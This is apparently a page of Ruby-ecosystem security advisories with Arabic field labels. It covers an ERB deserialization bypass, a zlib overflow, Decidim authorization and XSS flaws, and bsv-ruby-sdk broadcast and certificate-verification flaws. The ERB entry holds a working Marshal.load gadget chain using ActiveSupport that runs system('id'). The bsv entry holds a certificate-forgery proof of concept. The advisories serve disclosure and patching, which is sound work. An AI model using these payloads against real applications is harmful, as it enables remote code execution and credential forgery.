الوصف الكامل
## Summary Ruby 2.7.0 (before ERB 2.2.0 was published on rubygems.org) introduced an `@_init` instance variable guard in `ERB#result` and `ERB#run` to prevent code execution when an ERB object is reconstructed via `Marshal.load` (deserialization). However, three other public methods that also evaluate `@src` via `eval()` were not given the same guard: - `ERB#def_method` - `ERB#def_module` - `ERB#def_class` An attacker who can trigger `Marshal.load` on untrusted data in a Ruby application that has `erb` loaded can use `ERB#def_module` (zero-arg, default parameters) as a code execution sink, bypassing the `@_init` protection entirely. <details> ## The @_init Guard In `ERB#initialize`, the guard is set: ```ruby # erb.rb line 838 @_init = self.class.singleton_class ``` In `ERB#result` and `ERB#run`, the guard is checked before `eval(@src)`: ```ruby # erb.rb line 1008-1012 def result(b=new_toplevel) unless @_init.equal?(self.class.singleton_class) raise ArgumentError, "not initialized" end eval(@src, b, (@filename || '(erb)'), @lineno) end ``` When an ERB object is reconstructed via `Marshal.load`, `@_init` is either `nil` (not set during marshal reconstruction) or an attacker-controlled value. Since `ERB.singleton_class` cannot be marshaled, the attacker cannot set `@_init` to the correct value, and `result`/`run` correctly refuse to execute. ## The Bypass `ERB#def_method`, `ERB#def_module`, and `ERB#def_class` all reach `eval(@src)` without checking `@_init`: ```ruby # erb.rb line 1088-1093 def def_method(mod, methodname, fname='(ERB)') src = self.src.sub(/^(?!#|$)/) {"def #{methodname}\n"} << "\nend\n" mod.module_eval do eval(src, binding, fname, -1) # <-- no @_init check end end # erb.rb line 1113-1117 def def_module(methodname='erb') # <-- zero-arg call possible mod = Module.new def_method(mod, methodname, @filename || '(ERB)') mod end # erb.rb line 1170-1174 def def_class(superklass=Object, methodname='result') # <-- zero-arg call possible cls = Class.new(superklass) def_method(cls, methodname, @filename || '(ERB)') cls end ``` `def_module` and `def_class` accept zero arguments (all parameters have defaults), making them callable through deserialization gadget chains that can only invoke zero-arg methods. ### Method wrapper breakout `def_method` wraps `@src` in a method definition: `"def erb\n" + @src + "\nend\n"`. Code inside a method body only executes when the method is called, not when it's defined. However, by setting `@src` to begin with `end\n`, the attacker closes the method definition early. Code after the first `end` executes immediately at `module_eval` time: ```ruby # Attacker sets @src = "end\nsystem('id')\ndef x" # After def_method transformation, module_eval receives: # # def erb # end # system('id') <- executes at eval time # def x # end ``` --- ## Proof of Concept ### Minimal (ERB only) ```ruby require 'erb' erb = ERB.allocate erb.instance_variable_set(:@src, "end\nsystem('id')\ndef x") erb.instance_variable_set(:@lineno, 0) # ERB#result correctly blocks this: begin erb.result rescue ArgumentError => e puts "result: #{e.message} (blocked by @_init -- correct)" end # ERB#def_module does NOT block this -- executes system('id'): erb.def_module # Output: uid=0(root) gid=0(root) groups=0(root) ``` ### Marshal deserialization (ERB + ActiveSupport) When combined with `ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy` as a method dispatch gadget, this achieves RCE via `Marshal.load`: ```ruby require 'active_support' require 'active_support/deprecation' require 'active_support/deprecation/proxy_wrappers' require 'erb' # --- Build payload (replace proxy class for marshaling) --- real_class = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy ActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy) class ActiveSupport::Deprecation class DeprecatedInstanceVariableProxy def initialize(h) h.each { |k, v| instance_variable_set(k, v) } end end end erb = ERB.allocate erb.instance_variable_set(:@src, "end\nsystem('id')\ndef x") erb.instance_variable_set(:@lineno, 0) erb.instance_variable_set(:@filename, nil) proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new({ :@instance => erb, :@method => :def_module, :@var => "@x", :@deprecator => Kernel }) marshaled = Marshal.dump({proxy => 0}) # --- Restore real class and trigger --- ActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy) ActiveSupport::Deprecation.const_set(:DeprecatedInstanceVariableProxy, real_class) # This triggers RCE: Marshal.load(marshaled) # Output: uid=0(root) gid=0(root) groups=0(root) ``` **Chain:** 1. `Marshal.load` reconstructs a Hash with a `DeprecatedInstanceVariableProxy` as key 2. Hash key insertion calls `.hash` on the proxy 3. `.hash` is undefined -> `method_missing(:hash)` -> dispatches to `ERB#def_module` 4. `def_module` -> `def_method` -> `module_eval(eval(src))` -> breakout -> `system('id')` **Verified on:** Ruby 3.3.8 / RubyGems 3.6.7 / ActiveSupport 7.2.3 / ERB 6.0.1 </details> ## Impact ### Scope Any Ruby application that calls `Marshal.load` on untrusted data AND has both `erb` and `activesupport` loaded is vulnerable to arbitrary code execution. This includes: - **Ruby on Rails applications that import untrusted serialized data** -- any Rails app (every Rails app loads both ActiveSupport and ERB) using Marshal.load for caching, data import, or IPC - **Ruby tools that import untrusted serialized data** -- any tool using `Marshal.load` for caching, data import, or IPC - **Legacy Rails apps** (pre-7.0) that still use Marshal for cookie session serialization ### Severity justification The `@_init` guard was the recognized last line of defense against ERB being used as a deserialization gadget. Prior gadget chain research -- including Luke Jahnke's November 2024 Ruby 3.4 chain (nastystereo.com) and vakzz's 2021 Universal Deserialization Gadget -- pursued entirely different approaches (Gem::SpecFetcher, UncaughtThrowError, TarReader+WriteAdapter) without exploring the ERB def_method/def_module path. The `def_module` bypass is simpler and more direct than all previous chains, and was not addressed by the subsequent patches to Ruby 3.4 or RubyGems 3.6. This bypass renders the @_init mitigation ineffective across all ERB versions from 2.2.0 through 6.0.3 (latest as of April 2026). Combined with the DeprecatedInstanceVariableProxy gadget (present in all ActiveSupport versions through 7.2.3), this constitutes a universal RCE gadget chain for Ruby 3.2+ applications using Rails. <details> ### Gadget chain history Six generations of Ruby Marshal gadget chains have been discovered (2018-2026). Each bypassed the previous round of mitigations: | Year | Chain | Mitigated in | |------|-------|-------------| | 2018 | Gem::Requirement (Luke Jahnke) | RubyGems 3.0 | | 2021 | UDG -- TarReader+WriteAdapter (vakzz) | RubyGems 3.1 | | 2022 | Gem::Specification._load (vakzz) | RubyGems 3.6 | | 2024 | UncaughtThrowError (Luke Jahnke) | Ruby 3.4 patches | | 2024 | Gem::Source::Git#rev_parse | RubyGems 3.6 | | **2026** | **ERB#def_module @_init bypass** | **ERB 6.0.4** | </details> ## Patches The problem has been patched at the following ERB versions. Please upgrade your erb.gem to any one of them. * ERB 4.0.3.1, 4.0.4.1, 6.0.1.1, and 6.0.4 <details> Add the `@_init` check to `def_method`. Since `def_module` and `def_class` both delegate to `def_method`, this single change covers all three bypass paths: ```ruby def def_method(mod, methodname, fname='(ERB)') unless @_init.equal?(self.class.singleton_class) raise ArgumentError, "not initialized" end src = self.src.sub(/^(?!#|$)/) {"def #{methodname}\n"} << "\nend\n" mod.module_eval do eval(src, binding, fname, -1) end end ``` </details> -----
الإصدارات المتأثرة
< 4.0.3.1, = 4.0.4, >= 5.0.0, < 6.0.1.1, >= 6.0.2, < 6.0.4
نوع الثغرة
CWE-693 — CWE-693
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
الوصف الكامل
### Details A buffer overflow vulnerability exists in `Zlib::GzipReader`. The `zstream_buffer_ungets` function prepends caller-provided bytes ahead of previously produced output but fails to guarantee the backing Ruby string has enough capacity before the memmove shifts the existing data. This can lead to memory corruption when the buffer length exceeds capacity. ### Recommended action We recommend to update the `zlib` gem to version 3.2.3 or later. In order to ensure compatibility with bundled version in older Ruby series, you may update as follows instead: * For Ruby 3.2 users: Update to zlib 3.0.1 * For Ruby 3.3 users: Update to zlib 3.1.2 You can use gem update zlib to update it. If you are using bundler, please add `gem "zlib", ">= 3.2.3"` to your Gemfile. ### Affected versions zlib gem 3.2.2 or lower ### Credits [calysteon](https://hackerone.com/calysteon) ### References * https://hackerone.com/reports/3467067
الإصدارات المتأثرة
>= 3.2.0, < 3.2.3, >= 3.1.0, < 3.1.2, < 3.0.1
نوع الثغرة
CWE-120 — Buffer Overflow
CVSS Vector
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
الوصف الكامل
### Impact The root level `commentable` field in the API allows access to all commentable resources within the platform, without any permission checks. All Decidim instances are impacted that have not secured the `/api` endpoint. The `/api` endpoint is publicly available with the default configuration. ### Patches Not available ### Workarounds To mitigate the issue, you can limit the scope to only authenticated users by limiting access to the `/api` endpoint. This would require custom code or installing the 3rd party module `Decidim::Apiauth`. With custom code, the `/api` endpoint can be limited to only authenticated users with the following code (needs to run during application initialization): ```ruby # Within your application # config/initializers/limit_api_access.rb module LimitApiAccess extend ActiveSupport::Concern included do prepend_before_action do |controller| unless controller.send(:user_signed_in?) render plain: I18n.t("actions.login_before_access", scope: "decidim.core"), status: :unauthorized end end end end Rails.application.config.to_prepare do Decidim::Api::ApplicationController.include(LimitApiAccess) end ``` Please note that this would only disable public access to the API and all authenticated users would be still able to exploit the vulnerability. This may be sufficient for some installations, but not for all. Another workaround is to limit the availability of the `/api` endpoint to only trusted ranges of IPs that need to access the API. The following Nginx configuration would help limiting the API access to only specific IPs: ``` location /api { allow 192.168.1.100; allow 192.168.1.101; deny all; } ``` The same configuration can be also used without the `allow` statements to disable all traffic to the the `/api` endpoint. When considering a workaround and the seriousness of the vulnerability, please consider the nature of the platform. If the platform is primarily serving public data, this vulnerability is not serious by its nature. If the platform is protecting some resources, e.g. inside private participation spaces, the vulnerability may expose some data to the attacker that is not meant public. If you have enabled the organization setting "Force users to authenticate before access organization", the scope of this vulnerability is limited to the users who are allowed to log in to the Decidim platform. This setting was introduced in version 0.19.0 and it was applied to the `/api` endpoint in version 0.22.0.
الإصدارات المتأثرة
> 0.31.0.rc1, < 0.31.1, > 0.31.0.rc1, < 0.31.1, >= 0.0.1, < 0.30.5, >= 0.0.1, < 0.30.5
نوع الثغرة
CWE-862 — Missing Authorization
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
الوصف الكامل
### Impact The vulnerability allows any registered and authenticated user to accept or reject any amendments. The impact is on any users who have created proposals where the amendments feature is enabled. This also elevates the user accepting the amendment as the author of the original proposal as people amending proposals are provided coauthorship on the coauthorable resources. The only check done when accepting or rejecting amendments is whether the amendment reactions are enabled for the component: https://github.com/decidim/decidim/blob/9d6c3d2efe5a83bb02e095824ff5998d96a75eb7/decidim-core/app/permissions/decidim/permissions.rb#L107 The permission checks have been changed at 1b99136 which was introduced in released version 0.19.0. I have not investigated whether prior versions are also affected. ### Patches Not available ### Workarounds Disable amendment reactions for the amendable component (e.g. proposals).
الإصدارات المتأثرة
>= 0.31.0.rc1, < 0.31.1, >= 0.19.0, < 0.30.5
نوع الثغرة
CWE-266 — CWE-266
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
الوصف الكامل
### Impact A stored code execution vulnerability in the user name field allows a low-privileged attacker to execute arbitrary code in the context of any user who passively visits a comment page, resulting in high confidentiality and integrity impact across security boundaries. ### Patches N/A ### Workarounds Not available ### References OWASP ASVS v4.0.3-5.1.3 ### Credits This issue was discovered in a security audit organized by [octree](https://octree.ch/) and made by [Secu Labs](https://seculabs.ch/) against Decidim financed by the city of Lausanne (Switzerland).
الإصدارات المتأثرة
>= 0.31.0.rc1, < 0.31.0, < 0.30.5
نوع الثغرة
CWE-79 — XSS
CVSS Vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:L/SC:H/SI:H/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
الوصف الكامل
# ARC broadcaster treats failure statuses as successful broadcasts ## Summary `BSV::Network::ARC`'s failure detection only recognises `REJECTED` and `DOUBLE_SPEND_ATTEMPTED`. ARC responses with `txStatus` values of `INVALID`, `MALFORMED`, `MINED_IN_STALE_BLOCK`, or any `ORPHAN`-containing `extraInfo` / `txStatus` are silently treated as successful broadcasts. Applications that gate actions on broadcaster success are tricked into trusting transactions that were never accepted by the network. ## Details `lib/bsv/network/arc.rb` (lines ~74-100 in the affected code) uses a narrow failure predicate compared to the TypeScript reference SDK. The TS broadcaster additionally recognises: - `INVALID` - `MALFORMED` - `MINED_IN_STALE_BLOCK` - Any response containing `ORPHAN` in `extraInfo` or `txStatus` The Ruby implementation omits all of these, so ARC responses carrying any of these statuses are returned to the caller as successful broadcasts. Additional divergences in the same module compound the risk: - `Content-Type` is sent as `application/octet-stream`; the TS reference sends `application/json` with a `{ rawTx: <hex> }` body (EF form where source transactions are available). - The headers `XDeployment-ID`, `X-CallbackUrl`, and `X-CallbackToken` are not sent. The immediate security-relevant defect is the missing failure statuses; the other divergences are fixed in the same patch for protocol compliance. ## Impact Integrity: callers receive a success response for broadcasts that were actually rejected by the ARC endpoint. Applications and downstream gems that gate actions on broadcaster success — releasing goods, marking invoices paid, treating a token as minted, progressing a workflow — are tricked into trusting transactions that were never broadcast. This is an integrity bug with security consequences. It does not disclose information (confidentiality unaffected) and does not affect availability. ## CVSS rationale `AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N` → **7.5 (High)** - **AV:N** — network-reachable. - **AC:L** — no specialised access conditions are required. Triggering any of the unhandled failure statuses is not meaningfully harder than broadcasting a transaction at all: a malformed or invalid transaction, an orphan condition from a transient fork, or a hostile/misbehaving ARC endpoint returning one of these statuses is sufficient. The attacker does not need to defeat any mitigation or race a specific window — the bug is that the code path doesn't exist at all. - **PR:N** — no privileges required. - **UI:N** — no user interaction. - **C:N** — no confidentiality impact. - **I:H** — downstream integrity decisions are taken on non-broadcast transactions. - **A:N** — no availability impact. ## Affected versions The ARC broadcaster was introduced in commit `a1f2e62` ("feat(network): add ARC broadcaster with injectable HTTP client") on 2026-02-08 and first released in **v0.1.0**. The narrow failure predicate has been present since introduction. Every release up to and including **v0.8.1** is affected. Affected range: `>= 0.1.0, < 0.8.2`. ## Patches Upgrade to `bsv-sdk >= 0.8.2`. The fix: - Expands the failure predicate (`REJECTED_STATUSES` + `ORPHAN` substring check on both `txStatus` and `extraInfo`) to include `INVALID`, `MALFORMED`, `MINED_IN_STALE_BLOCK`, and any orphan-containing response, matching the TypeScript reference. - Switches `Content-Type` to `application/json` with a `{ rawTx: <hex> }` body, preferring Extended Format (BRC-30) hex when every input has `source_satoshis` and `source_locking_script` populated and falling back to plain raw-tx hex otherwise. - Adds support for the `XDeployment-ID` (default: random `bsv-ruby-sdk-<hex>`), `X-CallbackUrl`, and `X-CallbackToken` headers via new constructor keyword arguments. Fixed in sgbett/bsv-ruby-sdk#306. ### Note for `bsv-wallet` consumers The sibling gem `bsv-wallet` (published from the same repository) is not independently vulnerable — `lib/bsv/network/arc.rb` is not bundled into the wallet gem's `files` list. However, `bsv-wallet` runtime-depends on `bsv-sdk`, so a consumer of `bsv-wallet` that also invokes the ARC broadcaster is transitively exposed whenever `Gemfile.lock` resolves to a vulnerable `bsv-sdk` version. `bsv-wallet >= 0.3.4` tightens its `bsv-sdk` constraint to `>= 0.8.2, < 1.0`, so upgrading either gem is sufficient to pull in the fix. ## Workarounds If upgrading is not immediately possible: - Verify broadcast results out-of-band (e.g. query a block explorer or WhatsOnChain) before treating a transaction as broadcast. - Do not gate integrity-critical actions solely on the ARC broadcaster's success response. ## Credit Identified during the 2026-04-08 cross-SDK compliance review, tracked as finding F5.13. ## References - HLR: sgbett/bsv-ruby-sdk#305 - Fix PR: sgbett/bsv-ruby-sdk#306 - Compliance review: [`.architecture/reviews/20260408-cross-sdk-compliance-review.md`](../../.architecture/reviews/20260408-cross-sdk-compliance-review.md) - TypeScript reference: `ARC` class in `@bsv/sdk`
الإصدارات المتأثرة
>= 0.1.0, < 0.8.2
نوع الثغرة
CWE-754 — CWE-754
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
المراجع
https://nvd.nist.gov/vuln/detail/CVE-2026-40069
https://github.com/sgbett/bsv-ruby-sdk/issues/305
https://github.com/sgbett/bsv-ruby-sdk/pull/306
https://github.com/sgbett/bsv-ruby-sdk/commit/4992e8a265fd914a7eeb0405c69d1ff0122a84cc
https://github.com/sgbett/bsv-ruby-sdk/releases/tag/v0.8.2
https://github.com/advisories/GHSA-9hfr-gw99-8rhx
الوصف الكامل
# Unverified certifier signatures persisted by `acquire_certificate` ## Affected packages Both `bsv-sdk` and `bsv-wallet` are published from the [sgbett/bsv-ruby-sdk](https://github.com/sgbett/bsv-ruby-sdk) repository. The vulnerable code lives in `lib/bsv/wallet_interface/wallet_client.rb`, which is **physically shipped inside both gems** (the `bsv-wallet.gemspec` `files` list bundles the entire `lib/bsv/wallet_interface/` tree). Consumers of either gem are independently vulnerable; the two packages are versioned separately, so each has its own affected range. | Package | Affected | Patched | | --- | --- | --- | | `bsv-sdk` | `>= 0.3.1, < 0.8.2` | `0.8.2` | | `bsv-wallet` | `>= 0.1.2, < 0.3.4` | `0.3.4` | ## Summary `BSV::Wallet::WalletClient#acquire_certificate` persists certificate records to storage **without verifying the certifier's signature** over the certificate contents. Both acquisition paths are affected: - `acquisition_protocol: 'direct'` — the caller supplies all certificate fields (including `signature:`) and the record is written to storage verbatim. - `acquisition_protocol: 'issuance'` — the client POSTs to a certifier URL and writes whatever signature the response body contains, also without verification. An attacker who can reach either API (or who controls a certifier endpoint targeted by the issuance path) can forge identity certificates that subsequently appear authentic to `list_certificates` and `prove_certificate`. ## Details BRC-52 requires a certificate's `signature` field to be verified against the claimed certifier's public key over a canonical hashing of `(type, subject, serialNumber, revocationOutpoint, fields)` before the certificate is trusted. The reference TypeScript SDK enforces this in `Certificate.verify()`. ### Direct path The Ruby implementation's `acquire_via_direct` path (`lib/bsv/wallet_interface/wallet_client.rb`) constructs the certificate record directly from caller-supplied fields: ```ruby def acquire_via_direct(args) { type: args[:type], subject: @key_deriver.identity_key, serial_number: args[:serial_number], certifier: args[:certifier], revocation_outpoint: args[:revocation_outpoint], signature: args[:signature], fields: args[:fields], keyring: args[:keyring_for_subject] } end ``` The returned record is then written to the storage adapter by `acquire_certificate`. No verification of `args[:signature]` against `args[:certifier]`'s public key occurs at any point in this path. ### Issuance path `acquire_via_issuance` POSTs to a certifier-supplied URL and parses the response body into a certificate record, which is then written to storage without verifying the returned signature. A hostile or compromised certifier endpoint — or anyone able to redirect/MITM the plain HTTP request — can therefore return an arbitrary `signature` value for any subject and have it stored as authentic. This is the same class of bypass as the direct path; it was tracked separately as finding **F8.16** in the compliance review and is closed by the same fix. ### Downstream impact Downstream reads via `list_certificates` and selective-disclosure via `prove_certificate` treat stored records as valid without re-verifying, so any forgery that slips past `acquire_certificate` is trusted permanently. ## Impact Any caller that can invoke `acquire_certificate` — via either acquisition protocol — can forge a certificate attributed to an arbitrary certifier identity key, containing arbitrary fields, and have it persisted as authentic. Applications and downstream gems that rely on the wallet's certificate store as a source of truth for identity attributes (e.g. KYC assertions, role claims, attestations) are subject to credential forgery. This is a credential-forgery primitive, not merely a spec divergence from BRC-52. ## CVSS rationale `AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N` → **8.1 (High)** - **AV:N** — network-reachable in any wallet context that exposes `acquire_certificate` to callers. - **AC:L** — low attack complexity: pass arbitrary bytes as `signature:`. - **PR:L** — low privileges: any caller authorised to invoke `acquire_certificate`. - **UI:N** — no user interaction required. - **C:H** — forged credentials via `prove_certificate` can assert attributes about the subject. - **I:H** — the wallet's credential store is polluted with attacker-controlled data. - **A:N** — availability unaffected. ## Proof of concept ```ruby client = BSV::Wallet::WalletClient.new(key, storage: BSV::Wallet::MemoryStore.new) client.acquire_certificate( type: 'age-over-18', acquisition_protocol: 'direct', certifier: claimed_trusted_pubkey_hex, serial_number: 'any-serial', revocation_outpoint: ('00' * 32) + '.0', signature: 'deadbeef' * 16, # arbitrary bytes — never verified fields: { 'verified' => 'true' }, keyring_for_subject: {} ) client.list_certificates( certifiers: [claimed_trusted_pubkey_hex], types: ['age-over-18'] ) # => returns the forged record as if it were a real certificate from that certifier ``` ## Affected versions The vulnerable direct-path code was introduced in commit `d14dd19` ("feat(wallet): implement BRC-100 identity certificate methods (Phase 5)") on 2026-03-27 20:35 UTC. The vulnerable issuance-path code was added one day later in `6a4d898` ("feat(wallet): implement certificate issuance protocol", 2026-03-28 04:38 UTC), which removed an earlier `raise UnsupportedActionError` and replaced it with an unverified HTTP POST. **`bsv-sdk`:** the v0.3.1 chore bump (`89de3a2`) was committed 28 minutes after `d14dd19`, so the direct-path bypass shipped in the **v0.3.1** tag. The v0.3.1 release raised `UnsupportedActionError` for the issuance path, so the issuance-path bypass first shipped in **v0.3.2** (`5a335de`). Every subsequent release up to and including **v0.8.1** is affected by at least one path, and every release from v0.3.2 onwards is affected by both. Combined affected range: `>= 0.3.1, < 0.8.2`. **`bsv-wallet`:** at the time both commits landed, the wallet gem was at version 0.1.1. The first wallet release containing any of the vulnerable code was **v0.1.2** (`5a335de`, 2026-03-30), which shipped both paths simultaneously. Every subsequent release up to and including **v0.3.3** is affected on both paths. Affected range: `>= 0.1.2, < 0.3.4`. ## Patches Upgrade to `bsv-sdk >= 0.8.2` **and/or** `bsv-wallet >= 0.3.4`. Both releases ship the same fix: a new module `BSV::Wallet::CertificateSignature` (`lib/bsv/wallet_interface/certificate_signature.rb`), which builds the BRC-52 canonical preimage (`type`, `serial_number`, `subject`, `certifier`, `revocation_outpoint`, lexicographically-sorted `fields`) and verifies the certifier's signature against it via `ProtoWallet#verify_signature` with protocol ID `[2, 'certificate signature']` and counterparty = the claimed certifier's public key. Both `acquire_via_direct` and `acquire_via_issuance` now call `CertificateSignature.verify!` before returning the certificate to `acquire_certificate`, so invalid certificates raise `BSV::Wallet::CertificateSignature::InvalidError` (a subclass of `InvalidSignatureError`) and are never written to storage. Consumers should upgrade whichever gem they depend on directly; they do not need both. `bsv-wallet 0.3.4` additionally tightens its dependency on `bsv-sdk` from the stale `~> 0.4` to `>= 0.8.2, < 1.0`, which forces the known-good pairing and pulls in the sibling advisory fixes (F1.3, F5.13) tracked separately. The issuance-path fix also partially closes finding **F8.16** from the same compliance review. F8.16's second aspect — switching the issuance transport from ad-hoc JSON POST to BRC-104 AuthFetch — is not addressed here and remains deferred to a future release. Fixed in sgbett/bsv-ruby-sdk#306. ## Workarounds If upgrading is not immediately possible: - Do not expose `acquire_certificate` (either acquisition protocol) to untrusted callers. - Do not invoke `acquire_certificate` with `acquisition_protocol: 'issuance'` against a certifier URL you do not fully trust, and require TLS for any such request. - Treat any record returned by `list_certificates` / `prove_certificate` as unverified and perform an out-of-band BRC-52 verification against the certifier's public key before acting on it. ## Credit Identified during the 2026-04-08 cross-SDK compliance review, tracked as findings F8.15 (direct path) and F8.16 (issuance path, partial). ## References - HLR: sgbett/bsv-ruby-sdk#305 - Fix PR: sgbett/bsv-ruby-sdk#306 - Compliance review: [`.architecture/reviews/20260408-cross-sdk-compliance-review.md`](../../.architecture/reviews/20260408-cross-sdk-compliance-review.md) - BRC-52 specification: https://brc.dev/52 - TypeScript reference: `Certificate.verify()` in `@bsv/sdk`
الإصدارات المتأثرة
>= 0.3.1, < 0.8.2, >= 0.1.2, < 0.3.4
نوع الثغرة
CWE-347 — CWE-347
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
المراجع
https://nvd.nist.gov/vuln/detail/CVE-2026-40070
https://github.com/sgbett/bsv-ruby-sdk/issues/305
https://github.com/sgbett/bsv-ruby-sdk/pull/306
https://github.com/sgbett/bsv-ruby-sdk/commit/4992e8a265fd914a7eeb0405c69d1ff0122a84cc
https://brc.dev/52
https://github.com/advisories/GHSA-hc36-c89j-5f4j